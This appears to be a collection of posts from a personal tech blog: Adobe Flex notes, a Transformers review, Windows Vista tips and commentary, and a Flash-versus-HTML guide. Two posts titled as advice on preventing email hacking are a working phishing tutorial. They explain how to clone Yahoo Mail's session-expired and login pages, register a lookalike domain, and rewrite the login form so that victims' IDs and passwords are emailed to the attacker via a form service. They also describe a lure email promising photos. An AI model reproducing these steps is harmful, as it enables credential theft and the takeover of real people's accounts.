Adoble Flex - introduction notes

      In my first post I've spoken about some of the differences between Html and Flash. I am going to spend some time presenting to those of you who have not heard about the Flex product, some of the capabilities of the Flex 2.
      The Flex products line provides with the next generation of Developers Tool to build and deploy RIAs (Rich Internet Applications)on the Flash platform. Flex is an umbrella term for all the technologies of the Flex Product line that help developers to be extremely productive in RI Applications development. Flex allows you to create expressive content with effective interfaces, and deploy applications threw a well distributed, high performance cross-platform, cross-browsers run time environment.
      The Flex product line contains:
      *Adobe Flex Builder 2
      *Adobe Flex SDK
      *Adobe Flex Data Services 2
      *Adobe Flex Charting 2
      Adobe Flex Builder 2 is a completely new integrated development environment also known as an IDE for the Flex Framework 2, which provides coding, debugging and design tools and takes advantage of the industry leading Eclipse Tool Framework. Flex Builder 2 can install as a Standalone product, or add functionality to an existing Eclipse 3.1 installation.


It can also be used alone to develop and deploy Flex applications or can be used in conjunction with Flex Data Services. Flex Builder has a built-in compiler to create swf files from MXML and Action Script code.
      The Adobe Flex SDK provides a skeleton of the application that developers can use to extend the Flex framework which consists of prebuilt components, and these prebuilt components can be extended, or developers can build their own components from scratch.

      A highly comprehensive component framework is included within the SDK to help facilitate this. There is also a rich class library based on Action Script 3 that embodies best practices for building RIAs. The Flex SDK also contains and XML based language called MXML that provides a great way to build and layout applications as well as an the scripting language called Action Scipt 3. A compiler is also included in the Flex SDK creating swf files from your MXML and Action Script 3.

      In order to start a Flex application, the web browser will request a swf file, which is then downloaded to the client. The developers able to compile a swf file by laying out their application in the MXML language and using Action Script 3 for any logic. Action Script 3 is a class-based language that is as close to Java as you can get without actually being Java. Once the compiled swf is downloaded to the client, the swf itself can then request additional resources from the server using either Http, Soap or an Adoble protocol known as The Action Messaging Format(AMF).
      The Adobe Flex Data Services 2 add enterprise messaging support and greatly enhanced data services architecture the Flex SDK. Data services also gives you the ability to share data among multiple clients and offer support for client to client data communication. You can also push data out of the Flex Client using Data Services which gives you the ability to create sophisticated applications that displays real-time data such as sports or stock data. Flex messaging allows whole new categories of applications like data push and collaborations based applications to be delivered to the browsers in a reliable and scalable way.
      The foundation of the Rich Internet Application is the Flash Player or the Flash Virtual Machine. Flash Player 9 has been for Flex and is the backbone of the Flash platform. Of course Flash player 9 is fully backwards compatible with all of the other versions of Flash player as well. Flash Player 9 supports Action Script 3 which is a completed object pointed scripting programming language. It is a new optimized Action Script Virtual machine(AVM2) uset to execute the new Action Script new code which is significantly faster than the earlier versions. It has full run time error reporting, unlike earlier versions that were failing. There is industry standard debugging that contain stronger compile-time checking and mini new elements have been added including E4X which treats XML as a native data type, regular expressions and a brand new event model based on W3CDom events standard.
      My conclusion is that if you consider moving on and leaving HTML behind, it worth's a lot looking at this program, especially if you want to develop a rich Internet application like an e-commerce website or a website that highly interacts with the users. It has great features included and i will detail some of them on my next posts. If you also like to you can visit the Adobe website for more details.

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Transformers: the Movie -review-

      I didn't have much interest in seeing Transformers, but watching the trailers, I've immediately realised it will have all sort of special effects. Some of my friends said they will skip this movie, so i conformed to it, and watched the movie all by myself at a late hour so no ray of light would penetrate my windows to reflect on my computer screen, and only because i wanted to enjoy the special effect of this movie.
The huge visual effects movie Transformers racked up the biggest July 4th single-day gross in box office history, $26 million, beating the $22 million of Spider-Man 2 in 2004. By the end of the week Transformers stood at a whopping $153 million.

      Some of the most important actors in any giant robots film are, of course, the giant robots. The alien robots hide in plain sight by transforming themselves into ordinary-looking machines. The conversion process, from cars and planes to biped robots, is mesmerizing and convincing. Director Michael Bay kept throwing the robots back to ILM demanding they look more real. He wanted the robots absolutely photo-realistic. The robots look amazing, whether flying through the air, burrowing through the sand, or running down the highway. While the robots had to be created digitally, Bay prefers using real tanks and airplanes over faking it using blue screen visual effects. The military gear is expensive and there’s lots of it, lots more than Apocalypse Now. It’s the biggest military coordination with a motion picture ever.

      From what i have read about this movie, it took approximately 38 hours for the animators Industrial Light & Magic to render one frame of the CGI animation to portray the Transformers. This breaks the record set by Weta Workshop for The Lord of the Rings: The Two Towers (2002), where it took 20 hours to animate a frame of CGI to portray the Ent Treebeard.
This definitely means something, but i am really curious if it was harder to render then the scenes with the Sandman from the Spider Man 3. I know for sure that it's is extremely hard to simulate sand on an animation. For example, the people working at Spider Man 3, they had a team working for 2 years on understanding the sand particles principles and emulate those on computer. Can't beat that !
      Even though it was supposedly written by Transformers fans, the script was lacking. Since the focus is on the humans, Optimus Prime & co. are little more than scenery; nice-looking eye candy of scenery, but scenery nonetheless. And few films have such shameless product placement as Transformers does; at least 30 minutes of the film could be removed and used as a car commercial. Most characters are poorly developed or poorly written to begin with, especially the Transformers themselves. Their dialogue is hopelessly cheesy; and not good action-movie cheesy, these lines are cringe-worthy.

      A friend asked me what my favorite part of the movie was and I said "Megan Fox." Few actresses today, of any age, have the looks that she does at nineteen. She was the cast's highlight, even among all of the big names like Jon Voight and John Turturro, because few of the actors, as talented as they are elsewhere, here just don't seem to want to put out the effort needed: we have the robots, right? Why act? The same mentality doomed the Star Wars prequels.

      Overall, I'd say this was one to miss. Nearly everyone involved has something better available on the table, and Transformers fans will always have the original cartoon and comic book series.

      The Tools


      Transformers uses six Meridian Avids on Unity with about 2 terabytes of storage. A Nitris is used for all screenings including their preview. There are three main edit rooms, a fourth system in a closet, the assistants have two systems, and director Michael Bay has one. There’s a Media Net hook-up used for daily transmissions between ILM and Bay.

“For 3d modeling ILM used mostly Maya, 3ds Max, Zeno and zBrush,” says Farrar. “For lighting and rendering we use Zeno with RenderMan and Mental Ray. For compositing it's all Shake along with our Sabre systems, and editing uses Avids.”

      The Visual Effects

      There are about 630 visual effects shots in the film. There are 430 executed at ILM, 91 at Digital Domain, 70 at the Asylum and the rest are 2D clean up and fixes done by CO3, ISolve and Ken Blackwell. Technical advancements were made in environments, lighting, and simulation of physical effects and integration of CG characters in a real environment.

      “ILM did the bulk of the 3-D robots,” notes Scantlebury. “Incredible work, given the pressure of turning in shots up to the last minute…hold on…we just ordered two more 3-D shots three weeks before final delivery. Digital Domain picked up the rest, including turning a soft-drink machine into a crazed aluminum
can shooting Robot.”
      “Overall, the most challenging shot is OH020 which is a 360 degree descending camera move on Optimus that rotating around to reveal all four Autobots transforming in an alley”, says ILM visual effects supervisor Scott Farrar. “The shot was filmed in two separate camera moves from two separate rigs: a Russian arm mounted to a camera car and a 50-foot Technocrane. The plates were combined and blended. The 768-frame-long shot moves from an overhead medium close up on Optimus finishing his transformation, into an extreme close up of all the moving parts, then widening out to reveal our hero talent. Shia and Megan watch all four robots individually transform with their own unique style.”

      Challenges in 5.1 Music Editing

      Quicktimes for the sound and music department were output via a firewire connection from a DVCAM deck into Final Cut Pro. “At a certain point we were called upon to screen the movie repeatedly and without notice, with a 5.1 soundtrack,” says Rubell. “We had a 5.1 temp but were making complicated picture changes around the clock. There was no time to get back to the stage to update the tracks. So I conceived of a way to make changes and screen 5.1 out of the Avid. We mixed down the 24-track stems into their respective left, center, right, surround, and low-frequency families. We then group-clipped the individual stems with their mixdowns. We edited with the mixdowns, and when it came time to screen, we expanded back to 5.1 by switching the grouped mixdowns back to their component stems. We then mixed the stems down into a 5.1 configuration and exported that to the Nitris. It worked flawlessly, except that after a few weeks of endless group-clip switching my crew threatened to kill me. I was forced to shelve the system until Avid comes up with a way to globally switch, from mark-in to mark-out, the clips on a given audio track.”

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Creating a new boot screen for Vista and adding the missing "Run" command in the start menu

Creating a new boot screen for Vista

      Vista is a very attractive operating system with its new Aero interface. When it boots, the screen remains black except one tiny loading bar. The Boot Logo Generator is a small tool ( only 595 kilobytes) that can offer you a colorful boot.
The program generates a Bootscreen file from a graphic file in just a few steps.
Requirements: the graphic file has to be a bitmap file on 24 bytes with a 800 x 600 or 1024 x 768 resolution. You can download this little tool from http://www.computa.co.uk/staff/dan/?p=15. After the installation is finished, this program starts automatically. With "Browse for image..." you can load your bitmap files. Then save using "File/Save Boot Screen File As..." and copy both graphic files into the folder "C:\Windows\System32\en_US". In order for Vista to display the start image even when it boots, adjust the system settings: type "msconfig.exe" in the search field from the start menu and press Enter. Choose "OK" at the warning message from Vista and the program will start. In the "Start" tab, check the option "No GUI-Start".


Adding the missing "Run" command in the start menu

      You got used to quick access some specific commands using the "RUN" command from the start menu. In Vista, this option does not exist. What's there left to do ?

      In Vista, the search function substitutes the "Run" command. But you can reactivate this command using a small trick. In order to accomplish this, right click on the taskbar and choose the contextual command "Settings". Activate the "start menu" tab and click on "Customize". Now, search for option "Run Dialog" in the list and check it. Confirm the open dialogues with "OK".
And here is the rest of it.

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Learn to prevent your email password being hacked (part 2)

      We need to modify the code of the 2 pages from the first part of this post. For the first page I'd recommend you delete all of the scripts. Here is the code without the scripts in it. Now we need to change the bottom left link that says Re-login to Yahoo! Mail. For that look in your source code and locate the line :

<a href="http://mail.yahoo.com/?.done=http%3a%2f%2fus.f396.mail.yahoo.com%2fym%2flogin" target=_top>Re-login to Yahoo! Mail</a>

      All you need to do is switch the address to the URL of your second page. For that you will need to think ahead and establish what will it be on your website. So the above line should look something like that:

<a href="http://login_page.yourdomain.com" target=_top>Re-login to Yahoo! Mail</a>

      That's all there is to do about the first page so let's move on to the second page (login page) where there is much to cover.
Locate the line:

<p class="yreglgsb"><input type="submit" name=".save" value="Sign In"></p>
This is the code for the Sign In button. We need to change this to redirect the person i want his/her email password cracked to my pictures page. It should look like this:

<p class="yreglgsb"><input type="button" name=".save" value="Sign In" onclick="window.location.href='url'" </p>
where the url has to be the one from your pictures page.

Locate the line:

<form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form">.
This line marks what will happen to whatever the user inputs in the two fields on the right screen (if you look at the page in a web browser), the Yahoo! ID and the password fields. For now, when someone enters something in those two fields and click on the Sign In button, it tells yahoo to search database and authenticate them. We need to change that so that it will send to our email whatever the user inputs there. We have 2 possibilities to do that. First would be to use a website that offers free email forms and second choice would be to get help from a php file that will trigger sending the email to your email address.

      In the first case, if you want to use a website that offer free email forms, i would recommend that you will take a look on the www.bravenet.com website, for it is a great website with many resources that will help you understand better html and also offers free website hosting. There is a little disadvantage in using this method. If you apply for a free membership whenever you will use their service it will first take you to a confirmation page, which is annoying and will ruin every one's plan on finding someone else email password using the method I'm presenting. I have searched for more then 2 hours on the Internet a website that will host free email forms without demanding something in exchange (like links, banners etc). But if you consider updating your account with them, you will be able to use their service without having to place a link to your website right under the form, or a banner or something else that would ruin everything. If you are not that concerned about that, i will continue on detailing what exactly needs to be done using bravenet.com service. I have registered for a free account and i applied for an email form (contact form), and then i went for the "get the html code" for it. Now, if you take a look at the first 3 lines from the generated code


<form method="post" enctype="multipart/form-data" action="http://pub19.bravenet.com/emailfwd/senddata.php">
<input type="hidden" name="usernum" value="xxxxxxxxxx">
<input type="hidden" name="cpv" value="2">
xxxxxxxxxx has to be your id when you registered with bravenet. its a 10 digits number and you will have your own when you register.

you will see the first line looks a little bit like the code line we talked about earlier, the one that submits the yahoo Id and the password to yahoo for authentication. So if you go back to the source code of the second page (the login page) and once more locate the line


<form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form">


you will see they have the <form> tag in common. You need to replace this line with the 3 lines generated by bravenet for the email form and you are good to go. This is a reminder: after you load the new login page in a web browser and you will input the yahoo id and the password, right after you click the Sign In button, it will redirect you on bravenet website for a page that will ask you to confirm the data that will be send to your email. This email service from bravenet is very nice, and will also provide you some other information like the ip of the computer, which is a great to know where did the person you wanted his/her email revealed to you has fallen into the trap (if i may say so). So that confirmation page will pretty much ruin every one's plan and the person that will input their id and password will be redirected to that page, and they will find it very fishy. So, once again if you want the best of it, you might consider upgrading your account and then you will have the option of not being redirected to that annoying page. In case none of them works out for you, you can try get help from php to have the same process done, but this requires you to verify that your web host allows php. I will talk about including your php files on your website and test them on your local machine in my next post.

      Now, to summarize it all, you should have a website that contains:
main page= session_expires page with the re-login to Yahoo! Mail link changed to your second page
second page = login page with the Sign In button that will direct you to the pictures page
third page = pictures page
They all should have different URL's.

      All there is left to do would be the compose an email that will have the link to the main page attached. When someone will want to see your new pictures it will first access the main page ( the one with the session expires), that person will think it was somehow disconnected from yahoo and will try to login again using the Re-login to Yahoo! Mail link. The person will be directed to the login page, will enter the yahoo id and password and when he/she will click on the Sign In button an email with the inputted id and password will be send to your email address and in the same time it will load the pictures page.

      This is a method that can be countered very easily. And all the people out there reading my blog should know how to do this. The whole post brings me to this part where i will tell people that anyone can have his/her email password jacked with a simple method like the one i presented. You never know when someone will want to do this, and it's best to be aware of this kind of methods so you will know how to keep your email safe and your privacy safer.
      Yahoo should never take you on that session expired page unless you have been inactive for more then 24 hours, or if your cookies are not enabled on your computer, or if you access multiple yahoo accounts at the same time.
      Most people do not check out always the link bar located on the upper part of your browser.Here is an example. The eye is fixed on the contents of the web page and we often do not look up there to see the links. Emails are not always safe so you should definitely always check out the links whenever you open an email that has a link attached to it. I know that when you receive an email from a person you know and has a link attached to it, you tend to trust that person and open the link without doubts, but you may never know for sure what is behind it.
In case your session from yahoo somehow expires this is the link you should see on your browser after you click on the re-login to Yahoo! Mail link. I have talked mostly about yahoo emails, but this applies to all the email hosts out there.

            So stay on guard, and keep your emails just for yourself !

Link to the 1st part of this post

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Learn to prevent your email password being hacked (part 1)

      If i were to get a dime for every time i have been asked if it possible to crack an email account, i would be richer then Bill Gates, i would buy Bill Gates himself, his family and all of his programmers team working on the famous Windows operating system.(evil laugh) Anyway i would like to spend some time creating this post so everyone who will read it will know how to counter his/her email being hacked. We all have at least one email address somewhere out there on the Internet. And since people like to chat using the different chat applications offered to us, we gotta have 1 email account with them in order to access the chat (Yahoo, Msn, Aol, ICQ etc.). Me, personally, i have been mostly asked about how can i find the password of a specific yahoo account, so i will concentrate this post on informing you how exactly that could be possible, in order to be informed on how you can prevent it. Let's start from the beginning and i will tell you a little bit about how it all started. I was younger of course, and one day i really wanted (as most people do) to crack the yahoo account of a person that was close to me. -Being young implies being curios and sometimes stupid- . I have searched all Internet for some clues or ideas on how to do that. I have found nothing at all, so i started thinking on myself. I was well aware of the "lost password" section on yahoo, about the secret question, about inputting the right data (birthday, zip code, country), but this method is all about knowing the person in details, and even that it is not enough since that person could have input something different from the truth, meaning it could have been selected for example another country then the true country, since there is no problem with doing that when you create a new yahoo account.So its all about guessing. Of course, for me the guessing didn't work, so i decided i need something else. I spend a few weeks to elaborate a method, which worked just fine for me and i will explain it a little later on.
      I will take a little time to help those who want to crack someone's email password from having their emails cracked while trying desperately to find that damn password they are so willing to do anything to find. There are some files or information that are spread all over the Internet that are "intended" to help you crack an email password. In fact someone out there is doing to you what you wanna do to someone else.



      It might look familiar in case you have seen something like that:


HOW TO HACK AN EMAIL ACCOUNT !!!!
    Step 1: login to your yahoo account(or any other email hosting) compose a new email which you will send to : idpsw_bot123@yahoo.com
    Step 2: here is what you write in the message: at the subject: "usrpsw" + username of the person you want to find the email password,then ,in quotes you have to type your username! (all this goes to subject, very important!)]
    Step 3: in the body of the message : " id;psw;id_forgot;psw_forgot;usr:name1 ! my_pswis:password;my_usr:name2;yahoobotservice " where name1 has to be name of the user you want to find the email password, instead of password you have to type the password from your account(IT HAS TO BE REAL FOR AUTHENTICATION), instead of name2 it has to be your username(also real for authentication)
    Step 4:Now you wait around 4-5 minutes and you will get an email with the desired password




      THIS IS NOT RIGHT! you will never get any emails back, and if you look closely the address it is send to is nothing like what yahoo should have. Even if it would be, it would never require to type your own password and username. This is a fake which will send your username and password to someone that will probably use your email account for spamming, or will ever sell your email address to advertisers for money.
      I doubt this is the only fake on the Internet so watch out for anything that requires to input your password. No method to crack an email password will ever require you to input your own password.



           Here is my solution
      The method i am going to present is quite simple and it requires a minimum amount of html knowledge and it is based on the people's naivety. If you read between the lines till now, start paying attention, because you will know what to do if you face a problem like that and you will be able to prevent ANYONE (even closest person to you) from finding your email password. I will present this method with an example so you should be able to follow me easily. Let's say i want to find the password from example@yahoo.com.

    Step 1: I know for sure that the person i want he's/she's email cracked is registered on a specific website, or i know for sure that he/she has movies as one hobby or if that person knows me, i could go even further and take advantage of that. I will compose an email in which i will tell that person to check out my new pictures which i will carefully place them NOT on an archive attachment, but on a website which i will have to create on my own, where i will post my pictures and so the email will have instead of an attachment, a link to my website. That leads us to:

    Step 2: We need to find a provider that can host our website where i will want to put my pictures. I wont go much further into details at this step for there are plenty of websites that offer free web hosting. The bad part is that most of the websites that offer free hosting for our sites will always place their pop-ups for advertisement as long as you apply for the free package. The good part is that most people use some sort of pop-up blocker. Feel free to search websites that offer free hosting, and try as best as possible to avoid registering with domain names that will expose your true identity (Ex. yourname@yourdomainname.com). You might want to try different combinations that include the word yahoo in it, anything that would look like yahoo as possible. (some ex. yahoo_bot123, yahoo_checker123) After you will be done registering for one domain, you will have to create the website. It will have to consist of 2 parts, the main page and another page that will have the pictures posted on.
    At this point i assume you will know how to create a website page that will contain a number of pictures. If not you might wanna consider downloading a free trial of Macromedia Dreamweaver. You will find it on the Adobe website at the section Downloads/Trial downloads. You have to get an account to download it but that wont be much of a problem. This tool allows you to create a website page without knowing much html coding. You have the option to enter the design mode and you just have to drag/drop pictures, so it will be very easy. The main page needs some extra work though and it will consist of creating two web pages that looks as most similar as the expiring session and the login into email page from yahoo.

    Step 3: You need to duplicate 2 web pages that yahoo provides you whenever your session expires. First page will be a page that shows you that your session has expired mainly because two reasons.
  1.For your security, your Yahoo! Mail session expires a maximum of twenty-four hours after you have logged in. If you have chosen in your Yahoo! User Information (found be visiting "My Account" next to the Yahoo! Mail logo at the top of this page) to be prompted for a password more frequently than every day, your session will expire after the specified amount of time.
  2.If you do not accept the cookies set on login or your computer is not configured to accept cookies, your session will expire almost immediately. We use cookies (small pieces of site information) to assist us in user authentication and in saving configuration information. Cookies are required for Yahoo! Mail.

      Here you can see a picture of the web page that appears when your session expires. And here you can find the html source code for that specific page. If you copy/paste the code into your own website, it shouldn't work right away but if you take a closer look at the source code and at the very beginning of the code you delete the
<META HTTP-EQUIV=Refresh CONTENT="0; URL=/ym/login?nojs=1"> line and you will run the code on your website again, you will see the exact page as it is displayed in the picture. This page has an important role because it will make the person you want his/her email password to be revealed to you, actually believe that his/her yahoo session has expired and he/she needs to re-login again in order to access the email you will be sending with the link to your pictures website. After that you need to create in a similar way the content for the second page of the main part, which will have to look similar with the login page from yahoo. Here is a picture of that page, and here is the html source code for it.

Link to the second part of this post

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7 months of existing for Windows Vista

An operating system that got too many unfair critics


      It's been almost seven months since Microsoft launched the official Windows Vista. Seven months of existing of an operating system which we have been waiting for six years. Seven months are more then enough for a normal user to adapt to it, and to an IT professional to understand and observe the mechanics of an operating system. All this time, Vista received enormous amounts of critics from people more or less in position to do that. From all the critics addressed to Windows Vista that i have read during the time since it has been launched and on the period it was on tests, i do not exaggerate if i say that only about 10% of those were having a solid ground.

Bad critics

      Not a long time ago there has been published a study that shows that Vista is no better then XP when talking about security. Hundreds of websites and blogs have published it right away rushing into throwing bad critics at Vista. No one has ever considered that those who conducted the study skipped a serious number of elementary aspects of testing the security of an operating system and the test itself could have been better made by a kid. Lets take another example. A well known IT magazine publisher from the United States complained that the new Vista's hibernation system doesn't work as it should be and his laptop is not cooperating with it. Of course it is not cooperating with it as long as the check box for enabling the hibernation option is not checked for the network card, mouse or keyboard.Doh !!!

      The most hilarious critics about Vista that i read belong to the people that really have no idea what they are talking about. Most of the people i got in contact with since 7 months ago and that were criticising Vista didn't even used the operating system at all. They have read on the Internet reviews about Vista like the one i told you about, and rushed into judging Vista as being a bad operating system without having at least the curiosity of testing it first.



Games and drivers

      These are the weak points of Windows Vista at the moment: the fact that many old games don't work and that not all the components have drivers right now. But why can we blame Microsoft for that? I mean, the beta versions of Vista have being launched a year before the official release. In all this time the producers didn't have time to develop the drivers? It's obviously their fault. If Vista doesn't come with the drivers, then it will not be sold properly, and if Vista is not being bought then the hardware developers will not get the profits that they hope they will get. Besides that, the gaming problem existed six years ago for Windows XP too and will come again when a new operating system will be launched.

New vs. narrow minded

      The fundamental problem of Windows Vista is not the security issues, nor UAC ( User Access Control ), and nor the drivers. The problem is we are narrow minded about whats new, since we all accommodated with what we have used in the last years, and it is hard to adapt again. We got used to the applets organisation from the Control Panel that Windows XP offered us, with the My Computer term, with the Start button located on lower left part of the screen and in Vista it is "hard" to remark the search function, the Shadow Copy facility and the possibility to adjust volume separated for each Vista application. We are happy with what we know and what we are used to and we don't welcome something new, even if it's better. This is where Microsoft failed, delaying for 6 years the Windows Vista. Going back in time things were more favorable for XP since it wasn't so much time between its launching and the previous version of Windows. Maybe it would be better if Microsoft would come back to the strategy of launching a new operating system every year.
      Because what is new is easily digested in small doses...

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Flash or HTML: Which to Choose

      I am going to start with a short comparison between programming in HTML and Flash. I am sure that every websites developer asked himself at least once what would be best to choose in order to develop one certain website or more. Even in the early stages of learning websites programming, anyone can tell that there is a huge visual difference between those two. While HTML websites are static(excluding some javascripts commands to have a certain object move), Flash websites are all into animations, dynamic contents and a lot of interactivity with the users. The method that is chosen depends purely on the type of website being created and the goals of the website owner.
      Since every web browser in the world is designed to interpret HTML code and display web pages, building a site using strictly HTML ensures every web surfer will be able to view the site. Flash, on the other hand, requires users to have the Flash Player, which is a browser plug-in, installed on their computer in order to properly display the website. In addition, as Flash matures there are different versions of the Flash Player out there, further diminishing the chances that every visitor will be able to view the website.
      On the other hand, Flash offers some capabilities that simply cannot be matched using pure HTML code, such as animation, dynamic content generation and user interactivity. Much of this capability stems from the Actionscript, which is the scripting language used in the Flash environment. Actionscript allows for developers to create complex animations, incorporate streaming video and provide unparalleled interactivity. In recent years, Flash has also proven to be a leading method for providing streaming video content on the web, and continues to be the choice for developers who want to present complex and stunning visual presentation.
      Search-engine optimization is an important consideration if the website will rely on search engines to generate traffic. When looking at how a search engine will index a website, HTML offers the best choice. The reason is that search-engine spiders are designed to interpret and understand HTML code. In recent years, some search engines have made progress at indexing Flash content as well, although that can be deceiving for a couple of reasons. The first reason is that search engine spiders do not have the ability to run Actionscript code, which means that any dynamic content or Actionscript generated links, will not be indexed. The second reason relates to the way that search engines index and rank content.
Generally they would prefer to see content packaged in discrete, relevant units like the pages in an HTML website are. With a Flash site, all of the content appears to be in one file, causing content dilution in the search engines.
      As a personal opinion, i stoped using strictly HTML for creating a website. I am a fan of "good looking" and highly interactive sites, so when i have a chance to develop a website, i am more into programming with actionscript. There is a way that you can have both of them on the website, so this way your site will look more dynamic and also take advantage of the search-engine spiders (meaning you can still make full use of the html tags). The solution comes by implementing flash contents into your HTML website which can be done very easy. Here is an example of the source code that will have to be implemented in your HTML files.

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="778" height="653">
<param name="movie" value="path_to_the_swf_file(your flash content)" />
<param name="quality" value="high" />
<embed src="path_to_the_swf_file(your flash content)" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="778" height="653"></embed>
</object>

      There is a certain matter that i would like to tell you about. I have been facing a dilema when trying to create an e-commerce website. Most of the e-commerce websited out there are still made using a combination of html, php running on an apache server and connected to a mysql database. This is the most common way to create a e-commerce website and there is plenty of informations on the internet on how to create one. I will not cover this on this post. If you are wondering how can you have a full flash e-commerce website, well, things are starting to get a little more complicated. You would still have to use a database connection with the website and you will still have to run it on a server. If you guys look on the www.adobe.com website you will find most of the informations you need on how to create such a website. The answer is Macromedia Coldfusion which is great to have your flash website connected to a mysql database. Take in consideration, that i am talking exclusively about developing a website on html or flash language. There are other programs you can use that rely on different methods to create a website, but i come back on this subject on a future post. If you take a look at www.ebay.com in camparison to a site like www.niketown.com, you will see an obvious difference. While Ebay is dull and static like we are all used to see, Niketown comes with a great visual advantage. But that compensates on the loading time of the website. Html will ALWAYS load faster on any user's machine. Flash will take more time to load, but it will have more class only because the dynamic contents.

      Here are 2 trick to have something that "moves" on your website without using flash at all
-

1.HTML Code For Scrolling Marquee

The HTML for scrolling text uses the marquee Tag as in the examples below.


Source
<marquee bgcolor="" width="100%" direction="left" loop="infinite" scrollamount="1">Scrolling Text</marquee>
Output
Scrolling Text
Source
<marquee bgcolor="#eeeeee" width="100%" direction="right" loop="infinite" scrollamount="2"><strong><font color="red">More Scrolling Text</font></strong></marquee>
Output
More Scrolling Text
Source
<marquee bgcolor="" width="100%" direction="left" loop="infinite" scrollamount="1">Scrolling <a href="8.shtml">Hyperlink</a></marquee>
Output
Scrolling Hyperlink

2.Gifs insertion

- using gifs (animated pictures) here is a link that will help you on this: http://www.3dtextmaker.com/image_editor.html. Feel free to check out the link. You should be able to include your gifs on many hosts.

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Arinn project is launched!!!

       Hello everyone. Arinn's blog was born from my desire to share with the whole community out there as many informations as possible about different techniques, solutions, tips and tricks in solving all sort of issues a programmer can encounter with a number of softwares he will work with. I am sure most of you had some difficulties trying to learn a specific software, or trying to solve a task that has either being given to you at work or school or just because you felt the need to learn out of passion.
       I have been working and studying programming for 11 years now and in all these years i have faced many issues in different softwares, which mostly i had to solve on my own. If what i will post will be usefull to you, then my goal is achieved. This blog will include all sort of tutorials and i will make sure to include as many pictures or videos as possible for you to be able to easily understand. In order to help you guys as much as i can , i will consider your requests which you will have to send them by email.
       My area of expertise has grown intensly the last years, so there will be definately a lot to talk about on this blog, so just make sure to check this site as often as possible, for i will constantly update its content. I am a big fan of 3d designing and programming, so if you share my passion you will have a lot to learn from this blog, as long with being up to date with the my personal reviews on the
latest movies that rely on 3d animations. I will include a separate part just for sharing with you guys my opinion on a different number of movies i watched or i will have to watch since this is my second biggest passion.

Having that said, i now declare Arinn's project open !!!

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